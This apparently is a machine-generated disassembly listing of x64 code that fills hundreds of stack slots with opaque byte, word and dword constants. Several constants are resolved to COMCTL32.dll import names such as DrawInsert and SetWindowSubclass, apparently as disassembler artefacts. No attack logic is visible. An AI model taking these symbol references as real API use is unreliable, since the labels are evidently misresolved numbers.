mov dword [rsp + 0x6d94], 0x5bb33641
mov byte [rsp + 0x154], 0x68
mov dword [rsp + 0x6d98], 0xa4f3
mov dword [rsp + 0x6d9c], 0x1123c44e
mov dword [rsp + 0x6da0], 0x1c075b9e
mov dword [rsp + 0x6da4], 0x7aa8ec85
mov dword [rsp + 0x6da8], 0x6da21052
mov byte [rsp + 0x155], 0x1c
mov byte [rsp + 0x156], 0xe4
mov dword [rsp + 0x6dac], 0xa9e2
mov eax, 0xb03
mov word [rsp + 0x13e8], ax
mov dword [rsp + 0x6db0], 0xe5ae
mov dword [rsp + 0x6db4], 0x77cd2197
mov dword [rsp + 0x6db8], 0x24f29d18
mov dword [rsp + 0x6dbc], 0x11f66727
mov byte [rsp + 0x157], 0xf1
mov eax, 0x311
mov word [rsp + 0x13ec], ax
mov dword [rsp + 0x6dc0], 0x23e2e6e1
mov eax, 0x4d7
mov word [rsp + 0x13f0], ax
mov dword [rsp + 0x6dc4], 0xf0eb
mov dword [rsp + 0x6dc8], 0xc9f1
mov eax, 0xa29
mov word [rsp + 0x13f4], ax
mov byte [rsp + 0x158], 0x29
mov byte [rsp + 0x159], 0xed
mov dword [rsp + 0x6dcc], 0xdc8868
mov dword [rsp + 0x6dd0], 0x4a5b
mov dword [rsp + 0x6dd4], 0xe9fe1a8
mov dword [rsp + 0x6dd8], 0x222522ca
mov dword [rsp + 0x6ddc], 0x34ead2a1
mov dword [rsp + 0x6de0], 0x9087
mov eax, 0x213
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x6de4], 0x7e5519b
mov dword [rsp + 0x6de8], 0xff64
mov dword [rsp + 0x6dec], 0x7af4
mov dword [rsp + 0x6df0], 0x31211217
mov dword [rsp + 0x6df4], 0x14d64d35
mov dword [rsp + 0x6df8], 0x2ac64727
mov byte [rsp + 0x15a], 0x8e
mov dword [rsp + 0x6dfc], 0x6d85915d
mov byte [rsp + 0x15b], 0xc4
mov dword [rsp + 0x6e00], 0x1149d3a7
mov dword [rsp + 0x6e04], 0x3205601a
mov dword [rsp + 0x6e08], 0x6c456fd2
mov dword [rsp + 0x6e0c], 0x3e637700
mov eax, 0x6dc
mov word [rsp + 0x13fc], ax
mov dword [rsp + 0x6e10], 0x8413
mov dword [rsp + 0x6e14], 0x32ec1642
mov dword [rsp + 0x6e18], 0x727b230f
mov byte [rsp + 0x15c], 2
mov byte [rsp + 0x15d], 0x14
mov dword [rsp + 0x6e1c], 0x9af4
mov dword [rsp + 0x6e20], 0x29c7b219
mov byte [rsp + 0x15e], 0xb3
mov dword [rsp + 0x6e24], 0x5816b810
mov byte [rsp + 0x15f], 0x9b
mov dword [rsp + 0x6e28], 0x46149f3
mov dword [rsp + 0x6e2c], 0x5649
mov byte [rsp + 0x160], 0x88
mov dword [rsp + 0x6e30], 0xb076
mov byte [rsp + 0x161], 0x3e
mov dword [rsp + 0x6e34], 0x1c1f8f28
mov eax, 0xe1a
mov word [rsp + 0x1400], ax
mov byte [rsp + 0x162], 0xa
mov dword [rsp + 0x6e38], 0x4838
mov dword [rsp + 0x6e3c], 0xdeb7
mov eax, 0x7b0
mov word [rsp + 0x1404], ax
mov dword [rsp + 0x6e40], 0x1297cf19
mov dword [rsp + 0x6e44], 0x6cc6be
mov dword [rsp + 0x6e48], 0x5d0e649d
mov dword [rsp + 0x6e4c], 0x26804b56
mov byte [rsp + 0x163], 0xa3
mov dword [rsp + 0x6e50], 0x4402044a
mov dword [rsp + 0x6e54], 0xbfb4
mov dword [rsp + 0x6e58], 0x4c356559
mov dword [rsp + 0x6e5c], 0x1a79c41f
mov byte [rsp + 0x164], 0xac
mov dword [rsp + 0x6e60], 0x226fea91
mov dword [rsp + 0x6e64], 0xf4b9
mov dword [rsp + 0x6e68], 0xba31
mov dword [rsp + 0x6e6c], 0x54a8a670
mov dword [rsp + 0x6e70], 0x11638ad1
mov eax, 0x4a5
mov word [rsp + 0x1408], ax
mov dword [rsp + 0x6e74], 0x384a54ef
mov dword [rsp + 0x6e78], 0xb24acbf
mov dword [rsp + 0x6e7c], 0xabb3742
mov dword [rsp + 0x6e80], 0x854a
mov eax, 0x42
mov word [rsp + 0x140c], ax
mov byte [rsp + 0x165], 0x33
mov dword [rsp + 0x6e84], 0x42307b7c
mov dword [rsp + 0x6e88], 0x1aa1a0f
mov eax, 0x148
mov word [rsp + 0x1410], ax
mov byte [rsp + 0x166], 0x30
mov dword [rsp + 0x6e8c], 0x7d8de7e1
mov byte [rsp + 0x167], 0x38
mov dword [rsp + 0x6e90], 0xf2e982b
mov dword [rsp + 0x6e94], 0x65ffc54e
mov dword [rsp + 0x6e98], 0x459ebd3c
mov byte [rsp + 0x168], 0x21
mov dword [rsp + 0x6e9c], 0x5b9b1af5
mov dword [rsp + 0x6ea0], 0x751c7eec
mov dword [rsp + 0x6ea4], 0x5bd1
mov dword [rsp + 0x6ea8], 0x3dcfea76
mov eax, 0xf9f
mov word [rsp + 0x1414], ax
mov eax, 0x776
mov word [rsp + 0x1418], ax
mov dword [rsp + 0x6eac], 0x6fa2ad6b
mov dword [rsp + 0x6eb0], 0x3b65a6cf
mov byte [rsp + 0x169], 0x26
mov dword [rsp + 0x6eb4], 0xb44d
mov dword [rsp + 0x6eb8], 0x81f6
mov dword [rsp + 0x6ebc], 0x107c9e67
mov eax, 0xc9
mov word [rsp + 0x141c], ax
mov byte [rsp + 0x16a], 0x86
mov dword [rsp + 0x6ec0], 0x127dc1a
mov dword [rsp + 0x6ec4], 0x43e9
mov byte [rsp + 0x16b], 0x2b
mov dword [rsp + 0x6ec8], 0x8054
mov dword [rsp + 0x6ecc], 0x879be99
mov dword [rsp + 0x6ed0], 0x4fc66a7f
mov dword [rsp + 0x6ed4], 0x2eaa696
mov eax, 0x226
mov word [rsp + 0x1420], ax
mov dword [rsp + 0x6ed8], 0x591e
mov dword [rsp + 0x6edc], 0x51513bb9
mov byte [rsp + 0x16c], 0x2d
mov dword [rsp + 0x6ee0], 0x4dc1
mov byte [rsp + 0x16d], 0x14
mov byte [rsp + 0x16e], 0x79
mov byte [rsp + 0x16f], 0x19
mov eax, 0x5c3
mov word [rsp + 0x1424], ax
mov byte [rsp + 0x170], 0x3b
mov byte [rsp + 0x171], 0x25
mov dword [rsp + 0x6ee4], 0x3533bc94
mov dword [rsp + 0x6ee8], 0x1a10611d
mov dword [rsp + 0x6eec], 0xd91e
mov dword [rsp + 0x6ef0], 0x9cb1dd2
mov dword [rsp + 0x6ef4], 0x4345596a
mov dword [rsp + 0x6ef8], 0x7d676265
mov dword [rsp + 0x6efc], 0x77a9378
mov byte [rsp + 0x172], 0x65
mov dword [rsp + 0x6f00], 0xf7a1
mov dword [rsp + 0x6f04], 0xf43c
mov dword [rsp + 0x6f08], 0x55b72f39
mov byte [rsp + 0x173], 0x56
mov eax, 0x3ed
mov word [rsp + 0x1428], ax
mov eax, 0x16c
mov word [rsp + 0x142c], ax
mov eax, RemoveWindowSubclass
mov word [rsp + 0x1430], ax
mov eax, 0xae0
mov word [rsp + 0x1434], ax
mov byte [rsp + 0x174], 0x50
mov eax, 0x4e1
mov word [rsp + 0x1438], ax
mov dword [rsp + 0x6f0c], 0x7a899fec
mov dword [rsp + 0x6f10], 0x224e45d9
mov dword [rsp + 0x6f14], 0x65ac75d0
mov dword [rsp + 0x6f18], 0xb63c
mov dword [rsp + 0x6f1c], 0x2d2128c7
mov eax, 0x354
mov word [rsp + 0x143c], ax
mov byte [rsp + 0x175], 0x47
mov dword [rsp + 0x6f20], 0x68768723
mov dword [rsp + 0x6f24], 0x9005
mov dword [rsp + 0x6f28], 0x3a8f1721
mov dword [rsp + 0x6f2c], 0x1eebaa6a
mov dword [rsp + 0x6f30], 0x31c9d0be
mov eax, 0x33
mov word [rsp + 0x1440], ax
mov eax, 0x890
mov word [rsp + 0x1444], ax
mov dword [rsp + 0x6f34], 0xbfdf7d3
mov dword [rsp + 0x6f38], 0x78e86f18
mov byte [rsp + 0x176], 0x8f
mov eax, 0x718
mov word [rsp + 0x1448], ax
mov dword [rsp + 0x6f3c], 0x39dd3bfd
mov dword [rsp + 0x6f40], 0x328b
mov dword [rsp + 0x6f44], 0x35b7b09a
mov eax, 0x17d
mov word [rsp + 0x144c], ax
mov dword [rsp + 0x6f48], 0x5f7df356
mov eax, 0x1c8
mov word [rsp + 0x1450], ax
mov eax, 0x1f4
mov word [rsp + 0x1454], ax
mov dword [rsp + 0x6f4c], 0x3d1fcfda
mov dword [rsp + 0x6f50], 0x1e1f715
mov dword [rsp + 0x6f54], 0x2c3a
mov dword [rsp + 0x6f58], 0x1b8801a4
mov dword [rsp + 0x6f5c], 0x2ab8a1ac
mov dword [rsp + 0x6f60], 0x39bb832f
mov dword [rsp + 0x6f64], 0xb21f
mov byte [rsp + 0x177], reloc.COMCTL32.dll_DrawInsert
mov dword [rsp + 0x6f68], 0x721a
mov dword [rsp + 0x6f6c], 0x582aba3b
mov dword [rsp + 0x6f70], 0x5524e4c8
mov dword [rsp + 0x6f74], 0x4ea452a4
mov byte [rsp + 0x178], 0x96
mov byte [rsp + 0x179], 0x80
mov dword [rsp + 0x6f78], 0x12efffe0
mov byte [rsp + 0x17a], 0xa4
mov byte [rsp + 0x17b], 0xdf
mov byte [rsp + 0x17c], 0xfc
mov dword [rsp + 0x6f7c], 0x75e3931b
mov dword [rsp + 0x6f80], 0x3640d8e3
mov dword [rsp + 0x6f84], 0x6a9e5148
mov dword [rsp + 0x6f88], 0x3dd3895a
mov byte [rsp + 0x17d], 0xa5
mov dword [rsp + 0x6f8c], 0x6d904ba3
mov byte [rsp + 0x17e], 0x52
mov byte [rsp + 0x17f], 0x68
mov dword [rsp + 0x6f90], 0x6ed4c2ab
mov dword [rsp + 0x6f94], 0xf1d1191
mov dword [rsp + 0x6f98], 0x54141706
mov dword [rsp + 0x6f9c], 0x5613092
mov dword [rsp + 0x6fa0], 0x5ecbe7d2
mov byte [rsp + 0x180], reloc.COMCTL32.dll_LBItemFromPt
mov byte [rsp + 0x181], 0x3c
mov eax, 0xe17
mov word [rsp + 0x1458], ax
mov byte [rsp + 0x182], 0x8d
mov dword [rsp + 0x6fa4], 0x633aa63
mov dword [rsp + 0x6fa8], 0x18013ebc
mov dword [rsp + 0x6fac], 0x37cb6ffe
mov dword [rsp + 0x6fb0], 0x75a
mov eax, 0x79a
mov word [rsp + 0x145c], ax
mov eax, 0xcc0
mov word [rsp + 0x1460], ax
mov dword [rsp + 0x6fb4], 0x27110d18
mov dword [rsp + 0x6fb8], 0x8952
mov byte [rsp + 0x183], 0xc9
mov dword [rsp + 0x6fbc], 0x4b9d1da0
mov dword [rsp + 0x6fc0], 0xccf6
mov byte [rsp + 0x184], 0xca
mov dword [rsp + 0x6fc4], 0x460ee845
mov dword [rsp + 0x6fc8], 0x3292ef5d
mov byte [rsp + 0x185], 0x38
mov dword [rsp + 0x6fcc], 0x3b2f7d0c
mov dword [rsp + 0x6fd0], 0xa0a4
mov dword [rsp + 0x6fd4], 0x4df5
mov byte [rsp + 0x186], 0x33
mov dword [rsp + 0x6fd8], 0x7d05264
mov dword [rsp + 0x6fdc], 0x37370078
mov byte [rsp + 0x187], 0x2a
mov dword [rsp + 0x6fe0], 0x56abb95f
mov dword [rsp + 0x6fe4], 0x72703cfb
mov dword [rsp + 0x6fe8], 0x226bc246
mov byte [rsp + 0x188], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x6fec], 0x703dbe3a
mov dword [rsp + 0x6ff0], 0x46117e03
mov dword [rsp + 0x6ff4], 0x21a6f64c
mov dword [rsp + 0x6ff8], 0x3f0f4160
mov dword [rsp + 0x6ffc], 0x34faab4a
mov byte [rsp + 0x189], 0xf9
mov byte [rsp + 0x18a], 0x91
mov dword [rsp + 0x7000], 0x705ba172
mov dword [rsp + 0x7004], 0x1ca2ece3
mov byte [rsp + 0x18b], 0xc5
mov dword [rsp + 0x7008], 0x1dd9
mov byte [rsp + 0x18c], 0x76
mov byte [rsp + 0x18d], 0x40
mov dword [rsp + 0x700c], 0x6f199a95
mov dword [rsp + 0x7010], 0x501f3b4d
mov dword [rsp + 0x7014], 0x403757cc
mov byte [rsp + 0x18e], 0x1c
mov dword [rsp + 0x7018], 0x1133eb66
mov dword [rsp + 0x701c], 0x7f6c8415
mov byte [rsp + 0x18f], 0xb1
mov byte [rsp + 0x190], 0x79
mov eax, 0x6e3
mov word [rsp + 0x1464], ax
mov dword [rsp + 0x7020], 0x9f8f
mov dword [rsp + 0x7024], 0x6c489c60
mov dword [rsp + 0x7028], 0x77ce
mov dword [rsp + 0x702c], 0x413db06f
mov dword [rsp + 0x7030], 0x23e3eff1
mov dword [rsp + 0x7034], 0x1fc6f1ca
mov dword [rsp + 0x7038], 0x5ce94147
mov byte [rsp + 0x191], 2
mov eax, 0x64
mov word [rsp + 0x1468], ax
mov eax, 0xb2c
mov word [rsp + 0x146c], ax
mov dword [rsp + 0x703c], 0x5ddeacb
mov dword [rsp + 0x7040], 0x4d6c4c3e
mov dword [rsp + 0x7044], 0x32866767
mov eax, 0xb8a
mov word [rsp + 0x1470], ax
mov eax, 0xcaf
mov word [rsp + 0x1474], ax
mov dword [rsp + 0x7048], 0x5b32fc9
mov dword [rsp + 0x704c], 0x6ce8
mov byte [rsp + 0x192], 0x4e
mov eax, 0x737
mov word [rsp + 0x1478], ax
mov dword [rsp + 0x7050], 0x2e24fdb3
mov byte [rsp + 0x193], 0x6f
mov dword [rsp + 0x7054], 0x2aff9b19
mov byte [rsp + 0x194], 0x14
mov dword [rsp + 0x7058], 0x7cf5859a
mov dword [rsp + 0x705c], 0x85dc
mov dword [rsp + 0x7060], 0xec89
mov eax, 0x376
mov word [rsp + 0x147c], ax
mov dword [rsp + 0x7064], 0xcb5e
mov byte [rsp + 0x195], 0x5f
mov byte [rsp + 0x196], 0x33
mov eax, 0xf91
mov word [rsp + 0x1480], ax
mov eax, 0xfc9
mov word [rsp + 0x1484], ax
mov eax, 0x1cd
mov word [rsp + 0x1488], ax
mov dword [rsp + 0x7068], 0x24d02c5f
mov dword [rsp + 0x706c], 0x596901fb
mov eax, 0x66a
mov word [rsp + 0x148c], ax
mov byte [rsp + 0x197], 0xa2
mov byte [rsp + 0x198], DrawInsert
mov eax, 0x984
mov word [rsp + 0x1490], ax
mov dword [rsp + 0x7070], 0x69145c6f
mov dword [rsp + 0x7074], 0x2ec
mov dword [rsp + 0x7078], 0x684
mov eax, 0x7dc
mov word [rsp + 0x1494], ax
mov eax, 0x2b
mov word [rsp + 0x1498], ax
mov byte [rsp + 0x199], 0x94
mov dword [rsp + 0x707c], 0x55ee
mov dword [rsp + 0x7080], 0xa31e
mov eax, 0x19f
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x7084], 0x1c6fc7a0
mov dword [rsp + 0x7088], 0x681d1e16
mov dword [rsp + 0x708c], 0x6ec90034
mov dword [rsp + 0x7090], 0x5015
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], 0x8e
mov byte [rsp + 0x19b], 0x4e
mov eax, 0x48f
mov word [rsp + 0x14a0], ax
mov dword [rsp + 0x7094], 0xc91b
mov eax, 0x419
mov word [rsp + 0x14a4], ax
mov eax, 0x4fc
mov word [rsp + 0x14a8], ax
mov dword [rsp + 0x7098], 0x4bf19724
mov eax, 0xc04
mov word [rsp + 0x14ac], ax
mov dword [rsp + 0x709c], 0x7b1dd082
mov byte [rsp + reloc.COMCTL32.dll_RemoveWindowSubclass], 0xd5
mov dword [rsp + 0x70a0], 0xe003
mov eax, 0xd6a
mov word [rsp + 0x14b0], ax
mov dword [rsp + 0x70a4], 0x5e52e18d
mov dword [rsp + 0x70a8], 0xae78
mov dword [rsp + 0x70ac], 0x8e20
mov eax, 0x442
mov word [rsp + 0x14b4], ax
mov dword [rsp + 0x70b0], 0x636234e5
mov dword [rsp + 0x70b4], 0xdc0e
mov dword [rsp + 0x70b8], 0x43e4
mov eax, 0x379
mov word [rsp + 0x14b8], ax
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], 0x5d
mov eax, 0xed9
mov word [rsp + 0x14bc], ax
mov dword [rsp + 0x70bc], 0x37b0fd5d
mov eax, 0x8eb
mov word [rsp + 0x14c0], ax
mov dword [rsp + 0x70c0], 0x6369
mov dword [rsp + 0x70c4], 0x9aac
mov byte [rsp + 0x19e], 0xf8
mov dword [rsp + 0x70c8], 0x4b89ef30
mov dword [rsp + 0x70cc], 0xc055
mov byte [rsp + 0x19f], 0x49
mov dword [rsp + 0x70d0], 0x95ac
mov eax, 0x69b
mov word [rsp + 0x14c4], ax
mov eax, 0xcf3
mov word [rsp + 0x14c8], ax
mov eax, 0x1d7
mov word [rsp + 0x14cc], ax
mov byte [rsp + 0x1a0], 6
mov dword [rsp + 0x70d4], 0x3d2a2217
mov eax, 0x49
mov word [rsp + 0x14d0], ax
mov byte [rsp + 0x1a1], 0x30
mov byte [rsp + 0x1a2], 0x76
mov dword [rsp + 0x70d8], 0xcd78
mov byte [rsp + 0x1a3], 0xf5
mov dword [rsp + 0x70dc], 0x5acb8b0f
mov dword [rsp + 0x70e0], 0x383e1687
mov dword [rsp + 0x70e4], 0x4efbdde1
mov eax, 0x6a5
mov word [rsp + 0x14d4], ax
mov eax, 0x1a8
mov word [rsp + 0x14d8], ax
mov dword [rsp + 0x70e8], 0x4c3ab8ec
mov dword [rsp + 0x70ec], 0xf1a8
mov byte [rsp + 0x1a4], 0xf8
mov dword [rsp + 0x70f0], 0xef58
mov dword [rsp + 0x70f4], 0x59752c6b
mov dword [rsp + 0x70f8], 0x35e30033
mov dword [rsp + 0x70fc], 0x2d0833bd
mov eax, 0xaae
mov word [rsp + 0x14dc], ax
mov dword [rsp + 0x7100], 0xb51be10
mov eax, 0x53a
mov word [rsp + 0x14e0], ax
mov dword [rsp + 0x7104], 0x4fdd
mov eax, 0x748
mov word [rsp + 0x14e4], ax
mov eax, 0x538
mov word [rsp + 0x14e8], ax
mov byte [rsp + 0x1a5], 0x82
mov eax, 0xeca
mov word [rsp + 0x14ec], ax
mov eax, 0xa9a
mov word [rsp + 0x14f0], ax
mov dword [rsp + 0x7108], 0x3792a1f7
mov byte [rsp + 0x1a6], 4
mov dword [rsp + 0x710c], 0x198b5d67
mov dword [rsp + 0x7110], 0x7b2fb13d
mov byte [rsp + 0x1a7], 0x6f
mov eax, 0x261
mov word [rsp + 0x14f4], ax
mov byte [rsp + 0x1a8], 0x63
mov dword [rsp + 0x7114], 0x5c82ea98
mov dword [rsp + 0x7118], 0xe79a
mov dword [rsp + 0x711c], 0x16cf84de
mov byte [rsp + 0x1a9], 0x28
mov dword [rsp + 0x7120], 0x2179
mov dword [rsp + 0x7124], 0x5e2ee063
mov byte [rsp + 0x1aa], 0x8e
mov dword [rsp + 0x7128], 0x38433c11
mov byte [rsp + 0x1ab], 0x13
mov byte [rsp + 0x1ac], 0xf5
mov eax, DrawInsert
mov word [rsp + 0x14f8], ax
mov byte [rsp + 0x1ad], 0x2e
mov dword [rsp + 0x712c], 0x75f5
mov dword [rsp + 0x7130], 0x20f15caf
mov eax, 0x508
mov word [rsp + 0x14fc], ax
mov byte [rsp + 0x1ae], 0x21
mov dword [rsp + 0x7134], 0x4e5edbe0
mov dword [rsp + 0x7138], 0x2aa94982
mov byte [rsp + 0x1af], 0x97
mov eax, 0x53f
mov word [rsp + 0x1500], ax
mov eax, 0x9b
mov word [rsp + 0x1504], ax
mov byte [rsp + 0x1b0], 0xe8
mov dword [rsp + 0x713c], 0x60f67f61
mov eax, 0x60c
mov word [rsp + 0x1508], ax
mov eax, 0x449
mov word [rsp + 0x150c], ax
mov eax, 0x266
mov word [rsp + 0x1510], ax
mov dword [rsp + 0x7140], 0x7c20c156
mov dword [rsp + 0x7144], 0x81149
mov eax, 0x966
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x7148], 0x7f42
mov byte [rsp + 0x1b1], 0x36
mov eax, 0xe1c
mov word [rsp + 0x1518], ax
mov byte [rsp + 0x1b2], 0x20
mov eax, 0x79b
mov word [rsp + 0x151c], ax
mov dword [rsp + 0x714c], 0x237ebb40
mov dword [rsp + 0x7150], 0x11ec5a71
mov eax, 0x7a0
mov word [rsp + 0x1520], ax
mov eax, 2
mov word [rsp + 0x1524], ax
mov eax, 0x644
mov word [rsp + 0x1528], ax
mov byte [rsp + 0x1b3], 0xca
mov eax, 0x190
mov word [rsp + 0x152c], ax
mov eax, 0x22
mov word [rsp + 0x1530], ax
mov eax, 0xcbb
mov word [rsp + 0x1534], ax
mov eax, 0x54c
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x7154], 0xf924
mov dword [rsp + 0x7158], 0x903d
mov eax, 0xfe3
mov word [rsp + 0x153c], ax
mov dword [rsp + 0x715c], 0x1ea0d476
mov dword [rsp + 0x7160], 0x2238aa7a
mov dword [rsp + 0x7164], 0xd516
mov eax, 0x4c5
mov word [rsp + 0x1540], ax
mov eax, 0x3bc
mov word [rsp + 0x1544], ax
mov dword [rsp + 0x7168], 0xff41
mov dword [rsp + 0x716c], 0x6efd004f
mov dword [rsp + 0x7170], 0x105cd140
mov dword [rsp + 0x7174], 0x1e76
mov byte [rsp + 0x1b4], 0x39
mov byte [rsp + 0x1b5], 0xad
mov eax, 0xc8
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x7178], 0x3989a72d
mov dword [rsp + 0x717c], 0x1c5dac0b
mov dword [rsp + 0x7180], 0x1faf1f0f
mov dword [rsp + 0x7184], 0x771f
mov dword [rsp + 0x7188], 0x5ebb
mov dword [rsp + 0x718c], 0x1a37
mov eax, 0x700
mov word [rsp + 0x154c], ax
mov eax, 0x757
mov word [rsp + 0x1550], ax
mov dword [rsp + 0x7190], 0x1110616e
mov byte [rsp + 0x1b6], 0x9a
mov eax, 0x706
mov word [rsp + 0x1554], ax
mov eax, 0xa16
mov word [rsp + 0x1558], ax
mov byte [rsp + 0x1b7], 0x63
mov dword [rsp + 0x7194], 0x6456
mov dword [rsp + 0x7198], 0x1fba48ca
mov dword [rsp + 0x719c], 0x66f11d84
mov eax, 0xd57
mov word [rsp + 0x155c], ax
mov dword [rsp + 0x71a0], 0x79ae7d23
mov dword [rsp + 0x71a4], 0xe326
mov eax, reloc.COMCTL32.dll_DrawInsert
mov word [rsp + 0x1560], ax
mov dword [rsp + 0x71a8], 0x691b6d06
mov byte [rsp + 0x1b8], 0x85
mov eax, 0xeb5
mov word [rsp + 0x1564], ax
mov dword [rsp + 0x71ac], 0x113fa500
mov dword [rsp + 0x71b0], 0x300c7bcd
mov dword [rsp + 0x71b4], 0xda0a63
mov eax, 0xee
mov word [rsp + 0x1568], ax
mov eax, 0xc9c
mov word [rsp + 0x156c], ax
mov eax, 0xd96
mov word [rsp + 0x1570], ax
mov dword [rsp + 0x71b8], 0xfb33f68
mov dword [rsp + 0x71bc], 0xe8f7093
mov dword [rsp + 0x71c0], 0xfc00
mov byte [rsp + 0x1b9], 0x4c
mov dword [rsp + 0x71c4], 0x592c80e7
mov eax, 0x6ba
mov word [rsp + 0x1574], ax
mov dword [rsp + 0x71c8], 0x598a3f8d
mov eax, 0x979
mov word [rsp + 0x1578], ax
mov eax, 0xad3
mov word [rsp + 0x157c], ax
mov dword [rsp + 0x71cc], 0xa565
mov dword [rsp + 0x71d0], 0x7a03
mov dword [rsp + 0x71d4], 0x48962f7f
mov dword [rsp + 0x71d8], 0x4a0b
mov dword [rsp + 0x71dc], 0x42fb217d
mov dword [rsp + 0x71e0], 0x70fa3ea4
mov dword [rsp + 0x71e4], 0x7d06c8eb
mov eax, 0x18
mov word [rsp + 0x1580], ax
mov eax, 0x63
mov word [rsp + 0x1584], ax
mov dword [rsp + 0x71e8], 0x13658c13
mov dword [rsp + 0x71ec], 0x5dae
mov eax, 0x5e
mov word [rsp + 0x1588], ax
mov byte [rsp + 0x1ba], 0x37
mov dword [rsp + 0x71f0], 0xc732
mov dword [rsp + 0x71f4], 0x7f34f8e3
mov dword [rsp + 0x71f8], 0xfb96
mov byte [rsp + 0x1bb], 0xea
mov dword [rsp + 0x71fc], 0x7210
mov eax, 0xd87
mov word [rsp + 0x158c], ax
mov dword [rsp + 0x7200], 0x5fa21c17
mov dword [rsp + 0x7204], 0x6f99ede2
mov eax, 0x3f2
mov word [rsp + 0x1590], ax
mov dword [rsp + 0x7208], 0x396bc77
mov eax, 0x28a
mov word [rsp + 0x1594], ax
mov byte [rsp + 0x1bc], 0x66
mov eax, 0xa50
mov word [rsp + 0x1598], ax
mov dword [rsp + 0x720c], 0xef22
mov dword [rsp + 0x7210], 0x550974ad
mov eax, 0xf48
mov word [rsp + 0x159c], ax
mov dword [rsp + 0x7214], 0x4c74ce26
mov eax, 0xf99
mov word [rsp + 0x15a0], ax
mov dword [rsp + 0x7218], 0xe260b85
mov byte [rsp + 0x1bd], 0x54
mov dword [rsp + 0x721c], 0x62218935
mov dword [rsp + 0x7220], 0x51cc
mov dword [rsp + 0x7224], 0xa7cf
mov byte [rsp + 0x1be], 0x99
mov byte [rsp + 0x1bf], 0xd7
mov byte [rsp + 0x1c0], 0x66
mov dword [rsp + 0x7228], 0x465a880a
mov dword [rsp + 0x722c], 0x7063fbd
mov dword [rsp + 0x7230], 0x50aae79a
mov dword [rsp + 0x7234], 0x7cf59df3
mov eax, 0x2c7
mov word [rsp + 0x15a4], ax
mov eax, 0x3db
mov word [rsp + 0x15a8], ax
mov byte [rsp + 0x1c1], 0x31
mov eax, 0x265
mov word [rsp + 0x15ac], ax
mov eax, 0xbeb
mov word [rsp + 0x15b0], ax
mov dword [rsp + 0x7238], 0x1ecb
mov eax, 0x224
mov word [rsp + 0x15b4], ax
mov dword [rsp + 0x723c], 0x1f5bf529
mov byte [rsp + 0x1c2], 0xab
mov dword [rsp + 0x7240], 0x3ddb46a9
mov dword [rsp + 0x7244], 0xb806
mov eax, 0x86e
mov word [rsp + 0x15b8], ax
mov eax, 0x288
mov word [rsp + 0x15bc], ax
mov dword [rsp + 0x7248], 0x30e91162
mov eax, 0x770
mov word [rsp + 0x15c0], ax
mov dword [rsp + 0x724c], 0x5c689d28
mov eax, 0x121
mov word [rsp + 0x15c4], ax
mov dword [rsp + 0x7250], 0x439daf2e
mov dword [rsp + 0x7254], 0x2733
mov dword [rsp + 0x7258], 0x5f56
mov byte [rsp + 0x1c3], 0xf1
mov eax, 0x6fe
mov word [rsp + 0x15c8], ax
mov dword [rsp + 0x725c], 0x47c8
mov dword [rsp + 0x7260], 0x373bccc9
mov dword [rsp + 0x7264], 0x1a8b
mov eax, 0x4ce
mov word [rsp + 0x15cc], ax
mov dword [rsp + 0x7268], 0xef01
mov dword [rsp + 0x726c], 0x4033f5e6
mov dword [rsp + 0x7270], 0x2677
mov dword [rsp + 0x7274], 0xefb5
mov byte [rsp + 0x1c4], 0x11
mov dword [rsp + 0x7278], 0x16f0bdd4
mov eax, 0xbdc
mov word [rsp + 0x15d0], ax
mov dword [rsp + 0x727c], 0x9b76
mov byte [rsp + 0x1c5], 0x2e
mov eax, 0x863
mov word [rsp + 0x15d4], ax
mov eax, 0xa1
mov word [rsp + 0x15d8], ax
mov dword [rsp + 0x7280], 0x63b0392a
mov eax, 0x583
mov word [rsp + 0x15dc], ax
mov dword [rsp + 0x7284], 0x664114de
mov dword [rsp + 0x7288], 0x2cbd6ab1
mov dword [rsp + 0x728c], 0x5394
mov dword [rsp + 0x7290], 0x478d2e2
mov dword [rsp + 0x7294], 0x8b33
mov dword [rsp + 0x7298], 0xaf5b
mov dword [rsp + 0x729c], 0x6693
mov byte [rsp + 0x1c6], 0xdb
mov dword [rsp + 0x72a0], 0x4408884b
mov eax, 0xdfc
mov word [rsp + 0x15e0], ax
mov byte [rsp + 0x1c7], 0x86
mov byte [rsp + 0x1c8], 0x46
mov dword [rsp + 0x72a4], 0x103e
mov dword [rsp + 0x72a8], 0x1f893f66
mov dword [rsp + 0x72ac], 0x7bf054c2
mov dword [rsp + 0x72b0], 0x731f
mov dword [rsp + 0x72b4], 0x4aac92d3
mov byte [rsp + 0x1c9], 0xbd
mov dword [rsp + 0x72b8], 0x5faa572c
mov dword [rsp + 0x72bc], 0x75c32c4f
mov dword [rsp + 0x72c0], 0x56500fcb
mov eax, 0xc2
mov word [rsp + 0x15e4], ax
mov dword [rsp + 0x72c4], 0x40de7e4e
mov dword [rsp + 0x72c8], 0x3612dc1c
mov dword [rsp + 0x72cc], 0x9a95
mov eax, 0x105
mov word [rsp + 0x15e8], ax
mov dword [rsp + 0x72d0], 0x1ed4b1d2
mov byte [rsp + 0x1ca], 0x6e
mov byte [rsp + 0x1cb], 0x5c
mov byte [rsp + 0x1cc], 0x8d
mov dword [rsp + 0x72d4], 0x50aea828
mov dword [rsp + 0x72d8], 0x4a87
mov eax, 0xf75
mov word [rsp + 0x15ec], ax
mov dword [rsp + 0x72dc], 0x7279
mov eax, 0x8ab
mov word [rsp + 0x15f0], ax
mov eax, 0x48b
mov word [rsp + 0x15f4], ax
mov byte [rsp + 0x1cd], 0x3f
mov byte [rsp + 0x1ce], 0x11
mov dword [rsp + 0x72e0], 0xf0ea
mov dword [rsp + 0x72e4], 0x21b209eb
mov byte [rsp + 0x1cf], 0x4e
mov dword [rsp + 0x72e8], 0x32072a71
mov dword [rsp + 0x72ec], 0xe6c2
mov dword [rsp + 0x72f0], 0x8075
mov byte [rsp + 0x1d0], 0x6c
mov dword [rsp + 0x72f4], 0x72f4
mov dword [rsp + 0x72f8], 0x498d8dae
mov dword [rsp + 0x72fc], 0x62837b5
mov eax, 0x431
mov word [rsp + 0x15f8], ax
mov dword [rsp + 0x7300], 0x5a53c2e3
mov byte [rsp + 0x1d1], 0x2e
mov dword [rsp + 0x7304], 0x15799af7
